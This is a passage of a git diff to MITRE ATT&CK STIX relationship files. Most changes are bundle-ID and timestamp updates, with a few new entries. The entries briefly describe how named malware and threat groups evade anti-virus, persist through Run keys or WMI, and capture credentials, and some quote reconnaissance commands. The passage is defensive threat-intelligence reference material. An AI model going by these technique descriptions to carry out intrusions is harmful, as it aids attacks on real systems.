             "source_ref": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
             "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
diff --git a/enterprise-attack/relationship/relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3.json b/enterprise-attack/relationship/relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3.json
index d5223265d9..be58158eb6 100644
--- a/enterprise-attack/relationship/relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3.json
+++ b/enterprise-attack/relationship/relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e7d8f212-972d-43bf-afda-7e1da888a2cc",
+    "id": "bundle--c1b79a13-c617-4250-892d-9d6d41d4c6b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--32ee78b3-58de-4de5-bc3d-34ea8dc90ca3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to obtain a directory listing.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--330c8e43-575f-4c9a-b6c2-def7306841ad.json b/enterprise-attack/relationship/relationship--330c8e43-575f-4c9a-b6c2-def7306841ad.json
index fff1b086ca..a470b6bff2 100644
--- a/enterprise-attack/relationship/relationship--330c8e43-575f-4c9a-b6c2-def7306841ad.json
+++ b/enterprise-attack/relationship/relationship--330c8e43-575f-4c9a-b6c2-def7306841ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f2fd1f9-4d11-42be-9f19-40db1c6c197f",
+    "id": "bundle--fb9020ff-73db-4a04-9105-cfa474bde389",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--330c8e43-575f-4c9a-b6c2-def7306841ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The main CozyCar dropper checks whether the victim has an anti-virus product installed. If the installed product is on a predetermined list, the dropper will exit. Newer versions of CozyCar will check to ensure it is not being executed inside a virtual machine or a known malware analysis sandbox environment. If it detects that it is, it will exit. ",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce.json b/enterprise-attack/relationship/relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce.json
index 2f7d08bad9..3c4e41921f 100644
--- a/enterprise-attack/relationship/relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce.json
+++ b/enterprise-attack/relationship/relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--71cb94e8-0c37-4475-9fe0-a2a90ec81eef",
+    "id": "bundle--9434f3d1-f7c1-499f-990f-8e3870aaff6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--33162cc2-a800-4d42-89bb-13ac1e75dfce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula has the capability to download files.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--3325e625-d76b-42df-b952-749dabb57517.json b/enterprise-attack/relationship/relationship--3325e625-d76b-42df-b952-749dabb57517.json
index 742dd9ec75..34e79ba484 100644
--- a/enterprise-attack/relationship/relationship--3325e625-d76b-42df-b952-749dabb57517.json
+++ b/enterprise-attack/relationship/relationship--3325e625-d76b-42df-b952-749dabb57517.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1740931e-5a60-47ef-8b8d-3c7852c59ff3",
+    "id": "bundle--bc6d2f3e-6ea7-409b-a8cc-3f1d6ad87d04",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3325e625-d76b-42df-b952-749dabb57517",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.045Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Turla surveys a system upon check-in to discover active local network connections using the <code>netstat -an</code>, <code>net use</code>, <code>net file</code>, and <code>net session</code> commands.",
             "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae.json b/enterprise-attack/relationship/relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae.json
index 1e67b46522..8013509470 100644
--- a/enterprise-attack/relationship/relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae.json
+++ b/enterprise-attack/relationship/relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--34b1a87d-e9e7-4a32-af53-171adf37d4e2",
+    "id": "bundle--ea7ae424-fdf8-4999-9745-80360412a2aa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--33630ee4-24dc-4339-b29f-3d8b39e7daae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHOTPUT has a command to retrieve information about connected users.",
             "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
diff --git a/enterprise-attack/relationship/relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5.json b/enterprise-attack/relationship/relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5.json
index 1d7fda1447..18f056908e 100644
--- a/enterprise-attack/relationship/relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5.json
+++ b/enterprise-attack/relationship/relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a3460d01-9483-4f1f-a001-73abbf467028",
+    "id": "bundle--054f0f86-fc8f-4847-9c31-210b6ffd1344",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3363ae54-1fe3-4c9f-b074-79dc0d7fbba5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GeminiDuke collects information on running processes and environment variables from the victim.",
             "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--337dc23f-d825-415d-886b-53c3457fbd56.json b/enterprise-attack/relationship/relationship--337dc23f-d825-415d-886b-53c3457fbd56.json
index 8d218d39c3..30813c4932 100644
--- a/enterprise-attack/relationship/relationship--337dc23f-d825-415d-886b-53c3457fbd56.json
+++ b/enterprise-attack/relationship/relationship--337dc23f-d825-415d-886b-53c3457fbd56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf4e3ae4-b0c4-434e-a0f8-f8f0045cc9d2",
+    "id": "bundle--3c863b58-d2a0-468e-b0ca-b11aed0786a3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--337dc23f-d825-415d-886b-53c3457fbd56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 has used WMI event filters to establish persistence.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917.json b/enterprise-attack/relationship/relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917.json
index c8ad3ba66c..5026cd6611 100644
--- a/enterprise-attack/relationship/relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917.json
+++ b/enterprise-attack/relationship/relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8fee3f9e-a913-4476-8249-872077e089e6",
+    "id": "bundle--5a662653-99e8-4653-a85b-777ae6c064b5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--338cf92d-43a8-4fdd-948d-1a3bde10d917",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2",
             "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
diff --git a/enterprise-attack/relationship/relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5.json b/enterprise-attack/relationship/relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5.json
index 62abe3d068..9c16d52a39 100644
--- a/enterprise-attack/relationship/relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5.json
+++ b/enterprise-attack/relationship/relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5d1ee5c-9539-4748-98d6-a0dcc39544cf",
+    "id": "bundle--d638dae9-5fa2-4c12-b228-7a7d566a5d6b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--33c8fb30-3515-4582-ad29-34fa0d7e15e5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has deployed Meterpreter stagers and SplinterRAT instances in the victim network after moving laterally.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7.json b/enterprise-attack/relationship/relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7.json
index 7352ccf4c7..48e5c25f45 100644
--- a/enterprise-attack/relationship/relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7.json
+++ b/enterprise-attack/relationship/relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9353535a-9825-4167-972a-63a0efe5e550",
+    "id": "bundle--60f55178-8389-4bea-9e46-f8d13ba8bfde",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--33caa1a2-8465-47b9-89c4-94f4e9a899c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth captures and DES-encrypts credentials before writing the username and password to a log file, <code>C:\\log.txt</code>.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0.json b/enterprise-attack/relationship/relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0.json
index 74fd1210d1..a149e9c963 100644
--- a/enterprise-attack/relationship/relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0.json
+++ b/enterprise-attack/relationship/relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a7073e3f-673b-46cb-853f-1e5c99614309",
+    "id": "bundle--cd7a956b-1f50-43e5-a15f-83164b0a3fd1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--33e0178f-c9b2-43db-9e63-3e664ae6bef0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information on available printers and disk drives.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--340d4ef7-816b-4758-994f-b913df78afd7.json b/enterprise-attack/relationship/relationship--340d4ef7-816b-4758-994f-b913df78afd7.json
index 428fd2666f..c99dd14a28 100644
--- a/enterprise-attack/relationship/relationship--340d4ef7-816b-4758-994f-b913df78afd7.json
+++ b/enterprise-attack/relationship/relationship--340d4ef7-816b-4758-994f-b913df78afd7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--238c57f2-be46-4cd3-9831-0a2bcb475d5a",
+    "id": "bundle--44ba7687-5150-4bda-b4fc-ef16c9ed3900",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--340d4ef7-816b-4758-994f-b913df78afd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise executes <code>ipconfig /all</code> after initial communication is made to the remote server.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--3427863f-d4c4-4272-ad60-1479e42ed4af.json b/enterprise-attack/relationship/relationship--3427863f-d4c4-4272-ad60-1479e42ed4af.json
index 96123fc65d..dd3c6a00e4 100644
--- a/enterprise-attack/relationship/relationship--3427863f-d4c4-4272-ad60-1479e42ed4af.json
+++ b/enterprise-attack/relationship/relationship--3427863f-d4c4-4272-ad60-1479e42ed4af.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b6f68d4-b2ed-458e-91b4-f952a4e5565b",
+    "id": "bundle--31eaf6f2-fea6-4113-838c-ca12ba5ecfb7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3427863f-d4c4-4272-ad60-1479e42ed4af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.058Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--343d285a-e910-487b-8e85-dc87cdb63be3.json b/enterprise-attack/relationship/relationship--343d285a-e910-487b-8e85-dc87cdb63be3.json
index b31e424a76..f0986061cc 100644
--- a/enterprise-attack/relationship/relationship--343d285a-e910-487b-8e85-dc87cdb63be3.json
+++ b/enterprise-attack/relationship/relationship--343d285a-e910-487b-8e85-dc87cdb63be3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4677b993-7485-4e26-86c5-11df076c622b",
+    "id": "bundle--e63ffa45-7c28-43b2-9eb9-755f5e56fe21",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--343d285a-e910-487b-8e85-dc87cdb63be3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 added Registry Run keys to establish persistence.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--345c6135-7557-4292-8214-66618ba17edd.json b/enterprise-attack/relationship/relationship--345c6135-7557-4292-8214-66618ba17edd.json
index 149007485c..bc9edfaa31 100644
--- a/enterprise-attack/relationship/relationship--345c6135-7557-4292-8214-66618ba17edd.json
+++ b/enterprise-attack/relationship/relationship--345c6135-7557-4292-8214-66618ba17edd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa380e80-2593-4267-b28b-ebbd29826de8",
+    "id": "bundle--43f91e68-0d86-4d98-a9bd-1325bf8dce6f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--345c6135-7557-4292-8214-66618ba17edd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RARSTONE uses SSL to encrypt its communication with its C2 server.",
             "source_ref": "malware--8c553311-0baa-4146-997a-f79acef3d831",
diff --git a/enterprise-attack/relationship/relationship--34627bc3-c857-46c4-a9e8-060a779b643e.json b/enterprise-attack/relationship/relationship--34627bc3-c857-46c4-a9e8-060a779b643e.json
index ae106bbfda..09c5c683df 100644
--- a/enterprise-attack/relationship/relationship--34627bc3-c857-46c4-a9e8-060a779b643e.json
+++ b/enterprise-attack/relationship/relationship--34627bc3-c857-46c4-a9e8-060a779b643e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0faa0335-8713-4451-a6f3-34941f62036e",
+    "id": "bundle--e0bba0de-18bc-4077-a61b-7ba66f3492cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--34627bc3-c857-46c4-a9e8-060a779b643e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56",
diff --git a/enterprise-attack/relationship/relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe.json b/enterprise-attack/relationship/relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe.json
index 71c653f301..d6a46313d1 100644
--- a/enterprise-attack/relationship/relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe.json
+++ b/enterprise-attack/relationship/relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--deede13d-c8eb-455a-8568-ab70332cc022",
+    "id": "bundle--c2cbdcfc-8742-4073-813a-6fad7a30523f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HAMMERTOSS is controlled via commands that are appended to image files.",
             "source_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
diff --git a/enterprise-attack/relationship/relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694.json b/enterprise-attack/relationship/relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694.json
new file mode 100644
index 0000000000..1a6f9d8f9d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--61e2a17f-3a97-4dcd-8312-a7902bb208fd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--34ebfdf4-ef2c-4a6c-8bfa-69704d8f7694",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
+            "target_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--352d3d80-3a5f-454b-8190-fbac20979fc7.json b/enterprise-attack/relationship/relationship--352d3d80-3a5f-454b-8190-fbac20979fc7.json
index 64c731fafc..0850fd20b1 100644
--- a/enterprise-attack/relationship/relationship--352d3d80-3a5f-454b-8190-fbac20979fc7.json
+++ b/enterprise-attack/relationship/relationship--352d3d80-3a5f-454b-8190-fbac20979fc7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--fcb108ce-1cf5-4cf0-b457-dbdba417c267",
+    "id": "bundle--fb209b50-9188-4669-9325-0ddb5fcfbde0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--352d3d80-3a5f-454b-8190-fbac20979fc7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--2d704e56-e689-4011-b989-bf4e025a8727",
             "target_ref": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
diff --git a/enterprise-attack/relationship/relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b.json b/enterprise-attack/relationship/relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b.json
new file mode 100644
index 0000000000..f0963b7106
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--894b923c-acd3-4be5-bd18-114b1f05d1b4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3537c31f-bd6f-4cad-97ac-4ec3d8a9478b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Helminth establishes persistence by creating a shortcut.",
+            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
+            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7.json b/enterprise-attack/relationship/relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7.json
new file mode 100644
index 0000000000..5937aa438e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--85551a1c-e644-4a5e-bd0d-48abdc17c000",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--35419603-7bc2-40f6-8e5d-4e7a8f13ebb7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may use WMI when collecting information about a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--35572bdc-c7a2-442b-8d9a-7691317b6982.json b/enterprise-attack/relationship/relationship--35572bdc-c7a2-442b-8d9a-7691317b6982.json
index 9385f27a53..982aaaf2da 100644
--- a/enterprise-attack/relationship/relationship--35572bdc-c7a2-442b-8d9a-7691317b6982.json
+++ b/enterprise-attack/relationship/relationship--35572bdc-c7a2-442b-8d9a-7691317b6982.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d853584-a04f-4cb8-abc3-54b1f95c1c1b",
+    "id": "bundle--0df9104e-c28f-4ce7-9177-b59333c061d3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--35572bdc-c7a2-442b-8d9a-7691317b6982",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.022Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502",
             "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
diff --git a/enterprise-attack/relationship/relationship--3565539f-7ebf-4288-8422-5212c774821b.json b/enterprise-attack/relationship/relationship--3565539f-7ebf-4288-8422-5212c774821b.json
index 56991c362e..2475b7881d 100644
--- a/enterprise-attack/relationship/relationship--3565539f-7ebf-4288-8422-5212c774821b.json
+++ b/enterprise-attack/relationship/relationship--3565539f-7ebf-4288-8422-5212c774821b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--332ad82a-3949-41b1-88c0-ad7d317c00e5",
+    "id": "bundle--f4098440-7174-4b8d-9500-8b3bcad1549f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3565539f-7ebf-4288-8422-5212c774821b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE is capable of reading files over the C2 channel.",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--35697909-4c19-4799-a5ac-3153750619f8.json b/enterprise-attack/relationship/relationship--35697909-4c19-4799-a5ac-3153750619f8.json
new file mode 100644
index 0000000000..d032342b10
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--35697909-4c19-4799-a5ac-3153750619f8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--881d755e-082e-4d09-bac0-68181e265760",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--35697909-4c19-4799-a5ac-3153750619f8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
